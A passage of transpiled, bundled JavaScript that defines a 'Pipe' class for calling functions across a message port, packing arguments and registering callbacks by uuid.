function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }

​

var _uuid = require('uuid');

​

var _uuid2 = _interopRequireDefault(_uuid);

​

var Pipe = (function () {

  _createClass(Pipe, null, [{

    key: 'ERROR_PROPERTY_NOT_FOUND',

    value: 'ERROR_PROPERTY_NOT_FOUND',

    enumerable: true

  }]);

​

  function Pipe(name, port) {

    _classCallCheck(this, Pipe);

​

    this.name = name;

    this.port = port;

​

    this.registry = Object.create(null);

​

    this.port.on(this.messageName(), this.onMessage.bind(this));

  }

​

  _createClass(Pipe, [{

    key: 'onMessage',

    value: function onMessage(payload) {

      var type = payload.type;

      switch (type) {

        case 'function-call':

          this.onFunctionCall(payload);

          break;

        case 'function-call-result':

          this.onFunctionCallResult(payload);

          break;

      }

    }

  }, {

    key: 'onFunctionCall',

    value: function onFunctionCall(payload) {

      var id = payload.id;

      var entry = this.registered({ id: id });

      if (!entry) {

        return;

      }

      var args = this.unpackArguments(payload.args);

      var result = entry['function'].apply(null, args);

​

      this.postMessage({

        id: id,

        type: 'function-call-result',

        result: result

      });

    }

  }, {

    key: 'onFunctionCallResult',

    value: function onFunctionCallResult(payload) {}

  }, {

    key: 'messageName',

    value: function messageName() {

      return 'wdgt-pipe-' + this.name;

    }

  }, {

    key: 'generateId',

    value: function generateId() {

      return _uuid2['default'].v4();

    }

  }, {

    key: 'packArguments',

    value: function packArguments(unpackedArguments) {

      var _this = this;

​

      return unpackedArguments.map(function (unpackedArgument) {

        return _this.packArgument(unpackedArgument);

      });

    }

  }, {

    key: 'unpackArguments',

    value: function unpackArguments(packedArguments) {

      var _this2 = this;

​

      return packedArguments.map(function (packedArgument) {

        return _this2.unpackArgument(packedArgument);

      });

    }

  }, {

    key: 'packArgument',

    value: function packArgument(unpackedArgument) {

      if (typeof unpackedArgument == 'function') {

        return this.packFunctionArgument(unpackedArgument);

      } else if (unpackedArgument && typeof unpackedArgument == 'object' && !(unpackedArgument instanceof Array) && unpackedArgument.__proto__ != Object.prototype) {

        return this.packInstanceArgument(unpackedArgument);

      }

​

      return this.packScalarArgument(unpackedArgument);

    }

  }, {

    key: 'unpackArgument',

    value: function unpackArgument(packedArgument) {

      if (packedArgument.type == 'function') {

        return this.unpackFunctionArgument(packedArgument);

      } else if (packedArgument.type == 'instance') {

        return this.unpackInstanceArgument(packedArgument);

      } else if (packedArgument.type == 'scalar') {

        return this.unpackScalarArgument(packedArgument);

      }

    }

  }, {

    key: 'packFunctionArgument',

    value: function packFunctionArgument(argument) {

      var id = this.generateId();

      argument.registredFunctionId = id;

​

      var entry = {

        id: id,

        type: 'function',

        'function': argument

      };

​

      this.register(entry);

​

      return {

        id: id,

        type: 'function'

      };

    }

  }, {

    key: 'unpackFunctionArgument',

    value: function unpackFunctionArgument(argument) {

      var _this3 = this;

​

      var id = argument.id;

      var entry = this.registered({ id: id });

​

      return function () {

        for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {

          args[_key] = arguments[_key];

        }

​

        _this3.postMessage({

          id: id,

          type: 'function-call',

          args: _this3.packArguments(args)

        });

      };

    }

  }, {

    key: 'packScalarArgument',

    value: function packScalarArgument(argument) {

      return {

        type: 'scalar',

        value: argument

      };

    }

  }, {

    key: 'unpackScalarArgument',

    value: function unpackScalarArgument(argument) {

      return argument.value;

    }

  }, {

    key: 'packInstanceArgument',

    value: function packInstanceArgument(argument) {

      return {

        type: 'instance',

        value: null

      };

    }

  }, {

    key: 'unpackInstanceArgument',

    value: function unpackInstanceArgument(argument) {

      return argument.value;

    }

  }, {

    key: 'register',

    value: function register(entry) {

      var id = entry.id;

      this.registry[id] = entry;

    }

  }, {

    key: 'unregister',

    value: function unregister(entry) {

      var id = entry.id;

      delete this.registry[id];

    }

  }, {

    key: 'registered',

    value: function registered(entry) {

      var id = entry.id;

      return this.registry[id];

    }

  }, {

    key: 'postMessage',

    value: function postMessage(payload) {

      this.port.emit(this.messageName(), payload);

    }

  }]);

​

  return Pipe;

})();

​

exports['default'] = Pipe;

module.exports = exports['default'];

​

},{"uuid":2}],10:[function(require,module,exports){

'use strict';

​

Object.defineProperty(exports, '__esModule', {

  value: true

});

​

var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();